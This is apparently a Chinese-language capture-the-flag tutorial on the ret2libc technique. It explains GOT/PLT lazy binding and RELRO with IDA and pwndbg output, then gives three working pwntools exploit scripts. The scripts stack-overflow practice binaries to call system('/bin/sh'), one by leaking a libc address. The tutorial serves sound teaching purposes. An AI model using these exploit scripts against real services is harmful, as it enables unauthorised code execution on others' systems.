从零开始的 Pwn 之旅 - Ret2libc

前言

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)

函数调用约定和函数传参

当使用 ida pro 逆向分析时,函数开头总有这么一段:

1
int __fastcall main(int argc, const char **argv, const char **envp)

__fastcall 是函数调用约定的一种,表示函数参数通过寄存器传递而不是通过栈。具体来说,前三个参数通过 rdirsirdx 寄存器传递, 前六个参数通过寄存器传递,后面的参数通过栈传递。

32 位程序通过栈传参

延迟绑定

相关调试用到的程序 ret2libc1

当使用 pwn checksec 检测二进制文件时

1
2
3
4
5
6
7
8
9
pwn checksec ./ret2libc1        (.venv)130 master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
  • RELRO: Partial RELRO 表示启用了延迟绑定 (Lazy Binding),即函数的地址在第一次调用时才会被解析并填入 GOT 表中。
  • RELRO: Full RELRO 表示启用了全局重定位 (Full RELRO),即函数的地址在程序加载时就会被解析并填入 GOT 表中。
  • RELRO: No RELRO 表示没有启用延迟绑定。

在第一节中,我们曾经讨论了动态链接和静态链接。动态链接为了节省储存空间采用运行时装载 libc 库

程序中 .got 段记录了 libc 库中函数的地址,如果攻击者修改了 got 地址,攻击者就可以控制程序流了。为此,relro 防护机制应运而生。

但是因为计算机底层的限制,RELRO 机制沦为 🤡 机制

  • RELRO: No RELRO:没有启用任何防护,攻击者可以直接修改 GOT 表。
  • RELRO: Partial RELRO:启用了部分防护,当所有符号被解析完全,.got 表就会被锁定,攻击者无法再修改。但是程序的符号一般不会被解析完全,比如退出程序需要 exit 函数 (编译器默认开启 RELRO: Partial RELRO) 因为计算机内存管理的最小单位是页 (4K), 这就导致了无法针对没一表项修改权限,只能修改整个 .got 段的权限
  • RELRO: Full RELRO:启用了完全防护,所有符号在程序加载时就会被解析并填入 GOT 表,攻击者无法再修改。但是会一定幅度上降低程序的运行速度

Partial RELRO 下程序延迟绑定的过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
             +----------------------+
             |         ELF          |
             +----------------------+
                       |
                       v
             +----------------------+
             | .got.plt (GOT表)     |
             +----------------------+
             |   foo@got -> plt[0]  |------+
             +----------------------+\     |
                       |                (首次调用)
                       v                   |
             +----------------------+   +--v-------------------+
             |        PLT           |   | 动态链接器 (ld.so)   |
             +----------------------+   +----------------------+
             |  foo@plt: jmp [foo@got] |         |
             +----------------------+   |   重定位 foo@got     |
                                        +---+------------------+
                                            |
                                            v
             +----------------------------+
             | foo@got = foo@libc address |
             +----------------------------+

后续再次调用 foo@plt 时,直接跳转到 foo@libc,实现延迟绑定。

在 ida pro 中进行实例分析:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
.got:08049FFC ; ===========================================================================
.got:08049FFC
.got:08049FFC ; Segment type: Pure data
.got:08049FFC ; Segment permissions: Read/Write
.got:08049FFC _got            segment dword public 'DATA' use32
.got:08049FFC                 assume cs:_got
.got:08049FFC                 ;org 8049FFCh
.got:08049FFC __gmon_start___ptr dd offset __gmon_start__
.got:08049FFC                                         ; DATA XREF: _init_proc+F↑r
.got:08049FFC _got            ends
.got:08049FFC
.got.plt:0804A000 ; ===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt        segment dword public 'DATA' use32
.got.plt:0804A000                 assume cs:_got_plt
.got.plt:0804A000                 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A000                                         ; DATA XREF: _init_proc+9↑o
.got.plt:0804A000                                         ; __libc_csu_init+B↑o ...
.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_8048420↑r
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048420+6↑r
.got.plt:0804A00C off_804A00C     dd offset gets          ; DATA XREF: _gets↑r
.got.plt:0804A010 off_804A010     dd offset time          ; DATA XREF: _time↑r
.got.plt:0804A014 off_804A014     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804A018 off_804A018     dd offset system        ; DATA XREF: _system↑r
.got.plt:0804A01C off_804A01C     dd offset __gmon_start__
.got.plt:0804A01C                                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020     dd offset srand         ; DATA XREF: _srand↑r
.got.plt:0804A024 off_804A024     dd offset __libc_start_main
.got.plt:0804A024                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028     dd offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C     dd offset rand          ; DATA XREF: _rand↑r
.got.plt:0804A030 off_804A030     dd offset __isoc99_scanf
.got.plt:0804A030                                         ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0804A030 _got_plt        ends
.got.plt:0804A030

.plt:08048420 ; ===========================================================================
.plt:08048420
.plt:08048420 ; Segment type: Pure code
.plt:08048420 ; Segment permissions: Read/Execute
.plt:08048420 _plt            segment para public 'CODE' use32
.plt:08048420                 assume cs:_plt
.plt:08048420                 ;org 8048420h
.plt:08048420                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.plt:08048420
.plt:08048420 ; =============== S U B R O U T I N E =======================================
.plt:08048420
.plt:08048420
.plt:08048420 sub_8048420     proc near               ; CODE XREF: .plt:0804843B↓j
.plt:08048420                                         ; .plt:0804844B↓j ...
.plt:08048420 ; __unwind {
.plt:08048420                 push    ds:dword_804A004
.plt:08048426                 jmp     ds:dword_804A008
.plt:08048426 sub_8048420     endp
.plt:08048426
.plt:08048426 ; ---------------------------------------------------------------------------
.plt:0804842C                 align 10h
.plt:08048430 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048436 ; ---------------------------------------------------------------------------
.plt:08048436                 push    0
.plt:0804843B                 jmp     sub_8048420
.plt:08048440 ; [00000006 BYTES: COLLAPSED FUNCTION _time. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048446 ; ---------------------------------------------------------------------------
.plt:08048446                 push    8
.plt:0804844B                 jmp     sub_8048420
.plt:08048450 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048456 ; ---------------------------------------------------------------------------
.plt:08048456                 push    10h
.plt:0804845B                 jmp     sub_8048420
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048466 ; ---------------------------------------------------------------------------
.plt:08048466                 push    18h
.plt:0804846B                 jmp     sub_8048420
.plt:08048470 ; [00000006 BYTES: COLLAPSED FUNCTION ___gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048476 ; ---------------------------------------------------------------------------
.plt:08048476                 push    20h ; ' '
.plt:0804847B                 jmp     sub_8048420
.plt:08048480 ; [00000006 BYTES: COLLAPSED FUNCTION _srand. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048486 ; ---------------------------------------------------------------------------
.plt:08048486                 push    28h ; '('
.plt:0804848B                 jmp     sub_8048420
.plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048496 ; ---------------------------------------------------------------------------
.plt:08048496                 push    30h ; '0'
.plt:0804849B                 jmp     sub_8048420
.plt:080484A0 ; [00000006 BYTES: COLLAPSED FUNCTION _setvbuf. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484A6 ; ---------------------------------------------------------------------------
.plt:080484A6                 push    38h ; '8'
.plt:080484AB                 jmp     sub_8048420
.plt:080484B0 ; [00000006 BYTES: COLLAPSED FUNCTION _rand. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484B6 ; ---------------------------------------------------------------------------
.plt:080484B6                 push    40h ; '@'
.plt:080484BB                 jmp     sub_8048420
.plt:080484C0 ; [00000006 BYTES: COLLAPSED FUNCTION ___isoc99_scanf. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484C6 ; ---------------------------------------------------------------------------
.plt:080484C6                 push    48h ; 'H'
.plt:080484CB                 jmp     sub_8048420
.plt:080484CB ; } // starts at 8048420
.plt:080484CB _plt            ends
.plt:080484CB

相关的段有三个 .got.got.plt.plt,它们的作用如下:

  • .got:存储全局变量和函数的地址,通常在程序加载时就会被解析并填入。
  • .got.plt:存储延迟绑定的函数地址,初始时指向 PLT 中的跳转指令。
  • .plt:存储函数的跳转指令,初始时会跳转到动态链接器进行地址解析。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
.got.plt:0804A014 off_804A014     dd offset puts          ; DATA XREF: _puts↑r

.plt:08048450
.plt:08048450 ; =============== S U B R O U T I N E =======================================
.plt:08048450
.plt:08048450 ; Attributes: thunk
.plt:08048450
.plt:08048450 ; int puts(const char *s)
.plt:08048450 _puts           proc near               ; CODE XREF: main+5A↓p
.plt:08048450
.plt:08048450 s               = dword ptr  4
.plt:08048450
.plt:08048450                 jmp     ds:off_804A014
.plt:08048450 _puts           endp
.plt:08048450
.plt:08048456 ; ---------------------------------------------------------------------------
.plt:08048456                 push    10h
.plt:0804845B                 jmp     sub_8048420

使用 objdump 看看:

1
2
3
4
08048450 <puts@plt>:
 8048450: ff 25 14 a0 04 08     jmp    DWORD PTR ds:0x804a014
 8048456: 68 10 00 00 00        push   0x10
 804845b: e9 c0 ff ff ff        jmp    8048420 <.plt>

发现 .plt 段的每段指令最后都会 jmpsub_8048420

1
2
   0x8048420                   push   dword ptr [0x804a004]
   0x8048426                   jmp    dword ptr [0x804a008]       <0xf7fd8640>

这两行就是 sub_8048420 处的代码,是 plt 头部的指令 0x804a008 处存放着 _dl_runtime_resolve 库函数的地址,负责符号解析和重定位工作

结合 gdb 调试看看:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
   0x8048653 <main+59>     mov    dword ptr [esp + 8], 1         [0xffffcc18] <= 1
   0x804865b <main+67>     mov    dword ptr [esp + 4], 0         [0xffffcc14] <= 0
   0x8048663 <main+75>     mov    dword ptr [esp], eax           [0xffffcc10] <= 0xf7f6a5c0 (_IO_2_1_stdin_) ◂— 0xfbad2088
   0x8048666 <main+78>     call   setvbuf@plt                 <setvbuf@plt>

   0x804866b <main+83>     mov    dword ptr [esp], 0x8048733     [0xffffcc10] <= 0x8048733 ◂— push edx /* 'RET2LIBC >_<' */
 ► 0x8048672 <main+90>     call   puts@plt                    <puts@plt>
        s: 0x8048733 ◂— 'RET2LIBC >_<'

   0x8048677 <main+95>     lea    eax, [esp + 0x1c]
   0x804867b <main+99>     mov    dword ptr [esp], eax
   0x804867e <main+102>    call   gets@plt                    <gets@plt>

   0x8048683 <main+107>    mov    eax, 0     EAX => 0
   0x8048688 <main+112>    leave

查看 got plt 表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1:
GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push 8
[0x804a014] puts@GLIBC_2.0 -> 0x8048456 (puts@plt+6) ◂— push 0x10
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7d605c0 (__libc_start_main) ◂— endbr32
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7dbb8a0 (setvbuf) ◂— endbr32
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push 0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push 0x48 /* 'hH' */
pwndbg> plt
Section .plt 0x8048420-0x80484d0:
0x8048430: gets@plt
0x8048440: time@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: srand@plt
0x8048490: __libc_start_main@plt
0x80484a0: setvbuf@plt
0x80484b0: rand@plt
0x80484c0: __isoc99_scanf@plt

初次调用 puts 函数会进行延迟绑定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
 ► 0x8048450  <puts@plt>       jmp    dword ptr [0x804a014]       <puts@plt+6>
   0x8048456  <puts@plt+6>     push   0x10
   0x804845b  <puts@plt+11>    jmp    0x8048420                   <0x8048420>
   0x8048420                   push   dword ptr [0x804a004]
   0x8048426                   jmp    dword ptr [0x804a008]       <0xf7fd8640>
   0xf7fd8640                  push   eax
   0xf7fd8641                  push   ecx
   0xf7fd8642                  push   edx
   0xf7fd8643                  mov    edx, dword ptr [esp + 0x10]     EDX, [0xffffcc08] => 0x10
   0xf7fd8647                  mov    eax, dword ptr [esp + 0xc]      EAX, [0xffffcc04] => 0xf7ffda60 ◂— 0
   0xf7fd864b                  call   0xf7fd6500                  <0xf7fd6500>

pwndbg> tele 0x804a000
00:0000│  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 1
01:0004│  0x804a004 (_GLOBAL_OFFSET_TABLE_+4) —▸ 0xf7ffda60 ◂— 0
02:0008│  0x804a008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0xf7fd8640 ◂— push eax
03:000c│  0x804a00c (gets@got[plt]) —▸ 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
04:0010│  0x804a010 (time@got[plt]) —▸ 0x8048446 (time@plt+6) ◂— push 8
05:0014│  0x804a014 (puts@got[plt]) —▸ 0x8048456 (puts@plt+6) ◂— push 0x10
06:0018│  0x804a018 (system@got[plt]) —▸ 0x8048466 (system@plt+6) ◂— push 0x18
07:001c│  0x804a01c (__gmon_start__@got.plt) —▸ 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */

这里的 02:0008│ 0x804a008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0xf7fd8640 ◂— push eax 就是 _dl_runtime_resolve 函数的地址, 负责符号解析和重定位工作

可以看到所有还没绑定的函数 got 指向 plt+6 处的指令,当延迟绑定之后 got 直接指向了函数的实际地址

puts 完成延迟绑定后

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1:
GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push 8
[0x804a014] puts@GLIBC_2.0 -> 0xf7dbaf60 (puts) ◂— endbr32
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7d605c0 (__libc_start_main) ◂— endbr32
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7dbb8a0 (setvbuf) ◂— endbr32
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push 0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push 0x48 /* 'hH' */

ret2libc

ret2libc1

ret2libc1

安全检查

1
2
3
4
5
6
7
8
9
$ pwn checksec ./ret2libc1             (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shello

void secure()
{
  time_t v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

system 函数和 /bin/sh 字符串, 直接栈溢出

payload.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process("./ret2libc1")

context.terminal = ["kitty", "@", "launch", "--type=window"]

system_plt = 0x08048460
sh = 0x08048720
payload = b"a" * 112 + p32(system_plt) + p32(0) + p32(sh)
p.sendline(payload)

p.interactive()

在调用函数时应该填入 plt 的地址,因为我们无法知道 got 地址 .plt.got 段的 system 中存的是 system_got, 不是 system 函数的指令

在 32 位程序下,system_plt 后面的地址将被当作返回地址压入栈中

ret2libc2

ret2libc2

安全检查

1
2
3
4
5
6
7
8
9
pwn checksec ./ret2libc2             (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc2/ret2libc2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(s);
  return 0;
}

.plt:08048490 _system         proc near               ; CODE XREF: secure+44p

没有 /bin/sh 字符串我们就自己传入

payload.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

pop_ebx 是为了将 buf2 弹出去, 使得 PC 指向 sysem_plt

ret2libc3

ret2libc3

安全检查

1
2
3
4
5
6
7
8
9
$ pwn checksec ./ret2libc3             (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc3/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}

system 函数和 /bin/sh 字符串

默认情况下栈和库文件内存区域会被随机化

我们可以通过 puts 函数输出 puts 函数的 got 地址,程序的低三位是不变的,我们可以根据此计算出其他函数的实际地址

可以通过 libc-database 查询

也可以通过 LibcSearcher 这个库快速查询

payload.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()